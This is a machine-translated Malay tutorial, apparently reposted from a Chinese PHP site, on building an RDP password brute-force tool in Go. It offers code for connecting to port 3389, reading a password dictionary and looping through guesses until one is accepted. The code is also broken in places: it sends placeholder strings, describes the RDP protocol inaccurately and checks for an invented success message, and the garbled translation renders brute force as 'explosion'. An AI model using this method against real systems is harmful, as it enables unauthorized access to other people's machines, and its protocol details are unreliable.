golang melaksanakan letupan rdp

Dalam bidang keselamatan rangkaian, letupan ialah teknik yang menguji kekuatan kata laluan akaun sasaran. Bagi penyerang siber, brute force brute force ialah kaedah serangan biasa yang direka untuk meneka kata laluan akaun sasaran untuk mendapatkan akses sistem yang menyalahi undang-undang. Proses ini selalunya memerlukan banyak pengiraan dan masa, jadi ramai penggodam biasanya memilih untuk menggunakan bahasa pengaturcaraan untuk melaksanakan alat serangan untuk memudahkan dan mempercepatkan proses letupan.

Artikel ini akan menerangkan cara menggunakan Go untuk menulis alat serangan letupan RDP, terutamanya termasuk perkara berikut:

1. Kaji protokol RDP
2. Laksanakan sambungan TCP dan penghantaran mesej
3. Melaksanakan pembacaan senarai kamus kata laluan
4. Melaksanakan serangan letupan
5. Protokol RDP Penyelidikan

Protokol Desktop Jauh (RDP) ialah alat kawalan jauh Mengurus protokol rangkaian untuk sistem pengendalian Windows. Ia membolehkan pengguna pada komputer tempatan menyambung dari jauh ke komputer jauh melalui rangkaian, mengakses dan mengawal sesi desktop komputer jauh itu. RDP digunakan secara meluas untuk sokongan jauh dan akses desktop jauh, tetapi ia juga menyediakan permukaan serangan untuk penggodam untuk menyasarkan sistem pengendalian Windows.

Sebelum menulis alat letupan RDP, kita perlu mempunyai pemahaman yang mendalam tentang struktur dan kaedah penghantaran data protokol RDP. Protokol RDP dibahagikan kepada protokol asas dan protokol lanjutan. Dalam protokol asas, pelanggan dan pelayan berkomunikasi menggunakan sambungan TCP. Dalam protokol lanjutan, saluran maya atau saluran selamat digunakan untuk menghantar berbilang aliran data untuk menyokong grafik, audio dan ciri lanjutan yang lain.

Dalam bahagian seterusnya, kami akan memberi tumpuan kepada cara menggunakan Golang untuk melaksanakan sambungan dan penghantaran mesej protokol asas RDP.

2. Melaksanakan sambungan TCP dan penghantaran mesej

Sangat mudah untuk mewujudkan sambungan TCP menggunakan Golang. Go menyediakan pakej bersih untuk mengendalikan Soket dan I/O. Mula-mula, anda perlu menggunakan fungsi net.Dial() untuk mewujudkan sambungan TCP ke pelayan RDP. Berikut ialah contoh coretan kod:

conn, err := net.Dial("tcp", "rdp.example.com:3389")
if err != nil {
    // 处理错误信息
}

Kami juga perlu memahami format mesej protokol RDP. Mesej RDP ialah struktur data berdasarkan piawaian ASN.1. Mereka biasanya terdiri daripada pengepala protokol RDP dan pengepala protokol Microsoft RDPDR dan MS TPKT. Apabila membina mesej RDP, kita perlu menetapkan pengepala mesej seperti berikut:

buf := new(bytes.Buffer)

// RDP 协议头
rdpHeader := RdpHeader{
    Type:        PDUTYPE_DATAPDU | PDUTYPE2_VALID | 0x10,
    Length:      uint16(len(data)),
    SubType:     1,
    Compressed:  0,
    Authentication: 0,
}
// 写入 RDP 协议头
err = binary.Write(buf, binary.BigEndian, &rdpHeader)
if err != nil {
    // 处理错误信息
}

// Microsoft RDPDR 协议头
rdpdrHeader := RdpdrHeader{
    Component:   RDPDR_CTYP_CORE,
    PacketType:  RDPDR_TYPE_REQUEST,
    PacketId:    uint32(packetId),
    DataLength:  uint32(len(data)),
    ExtraData:   0,
    Status:      STATUS_SUCCESS,
}
// 写入 RDPDR 协议头
err = binary.Write(buf, binary.LittleEndian, &rdpdrHeader)
if err != nil {
    // 处理错误信息
}

// 写入数据
err = binary.Write(buf, binary.LittleEndian, data)
if err != nil {
    // 处理错误信息
}

// 发送数据到 RDP 服务器
_, err = conn.Write(buf.Bytes())
if err != nil {
    // 处理错误信息
}

Dalam kod di atas, kita mula-mula mencipta pengepala protokol RDP dan pengepala protokol Microsoft RDPDR. Kemudian, data mesej dibungkus dan ditulis ke penimbal bait baharu buf. Akhir sekali, data dalam penimbal ditulis kepada sambungan TCP yang diwujudkan melalui net.Dial().

3. Melaksanakan pembacaan senarai kamus kata laluan

Dalam serangan letupan RDP, kamus kata laluan ialah bahagian terpenting dalam proses serangan. Kamus kata laluan biasanya mengandungi gabungan perkataan dan aksara yang berkaitan dengan kata laluan pengguna sasaran. Oleh itu, kita perlu membaca kamus kata laluan ini daripada fail untuk menggunakannya semasa serangan.

Dalam Go, pengendalian fail adalah sangat mudah. Fail boleh dibuka menggunakan fungsi os.Open() dan ditambah pada penimbal menggunakan fungsi bufio.NewReader() supaya kita boleh membaca data dalam fail baris demi baris. Berikut ialah contoh kod:

func readPasswords(passwordList string) ([]string, error) {
    passwords := []string{}

    file, err := os.Open(passwordList)
    if err != nil {
        return passwords, err
    }
    defer file.Close()

    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        passwords = append(passwords, scanner.Text())
    }

    if err := scanner.Err(); err != nil {
        return passwords, err
    }

    return passwords, nil
}

Dalam kod di atas, kami mula-mula membuka fail kamus kata laluan dan menambahkannya pada penimbal menggunakan pakej bufio. Anda kemudiannya boleh menggunakan fungsi bufio.Scanner() untuk membaca semua data dalam fail baris demi baris dan tambahkannya pada senarai passwords. Akhirnya, fungsi ini mengembalikan senarai kata laluan dan kemungkinan ralat.

4. Melaksanakan Serangan Letupan

Dengan kamus kata laluan dan kod penghantaran mesej RDP, kami boleh mula membina program Serangan Letupan RDP. Dalam program ini, kami memerlukan satu gelung untuk mengulangi kamus kata laluan dan cuba meneka setiap kata laluan yang mungkin.

Berikut ialah contoh kod:

func rdpBruteForce(conn net.Conn, user string, passwordList []string) error {
    for _, password := range passwordList {
        _, err := conn.Write([]byte("some rdp message with password " + password))
        if err != nil {
            return err
        }

        // 检查是否成功找到密码
        response := make([]byte, 1024)
        _, err = conn.Read(response)
        if err != nil {
            return err
        }

        if bytes.Contains(response, []byte("successfully authenticated")) {
            fmt.Printf("Password found: %s", password)
            return nil
        }
    }

    return fmt.Errorf("Password not found in the list")
}

Dalam kod di atas, kami mengulangi kamus kata laluan dan menggunakan fungsi conn.Write() untuk menghantar mesej kepada pelayan RDP yang mengandungi kata laluan semasa dalam kamus kata laluan. Kami kemudian menggunakan fungsi conn.Read() untuk menerima mesej respons daripada pelayan. Jika mesej mengandungi rentetan "berjaya disahkan", ini bermakna kata laluan yang betul ditemui dan program mencetak kata laluan dan keluar dari gelung. Jika kamus kata laluan berjaya diulang tetapi tiada kata laluan ditemui, mesej ralat akan dikeluarkan.

Akhir sekali, kita perlu melaksanakan sambungan dan serangan RDP dengan memanggil fungsi berikut:

func startRdpBruteForce(ip string, user string, passwordList string) error {
    conn, err := net.Dial("tcp", ip+":3389")
    if err != nil {
        return err
    }   
    // 发送所有 RDP 初始化消息
    _, err = conn.Write([]byte("some rdp initialization messages"))
    if err != nil {
        return err
    }

    passwords, err := readPasswords(passwordList)
    if err != nil {
        return err
    }

    err = rdpBruteForce(conn, user, passwords)
    if err != nil {
        return err
    }

    return nil
}

Dalam fungsi ini, kita mula-mula mewujudkan sambungan TCP dan menghantar mesej permulaan RDP. Kemudian, kami menggunakan fungsi readPasswords() untuk membaca fail kamus kata laluan. Akhir sekali, kami memanggil fungsi rdpBruteForce() lulus conn dan senarai kata laluan sebagai argumen.

Ringkasan

Artikel ini memperkenalkan cara menggunakan Go untuk menulis alat serangan letupan RDP. Kami belajar cara mewujudkan sambungan TCP dan menghantar mesej RDP menggunakan Go, dan mempelajari cara membaca fail kamus kata laluan baris demi baris. Kami juga menulis kod yang memintas data respons untuk mencari pengesahan yang berjaya untuk mengesahkan bahawa kata laluan yang betul ditemui. Artikel ini menyediakan pengetahuan dan kemahiran yang diperlukan untuk belajar dan menulis alat letupan RDP anda sendiri. Walau bagaimanapun, perlu diingatkan bahawa kaedah serangan ini sangat berbahaya dan menyalahi undang-undang, dan tidak boleh digunakan untuk tujuan yang menyalahi undang-undang.

Atas ialah kandungan terperinci golang melaksanakan letupan rdp. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!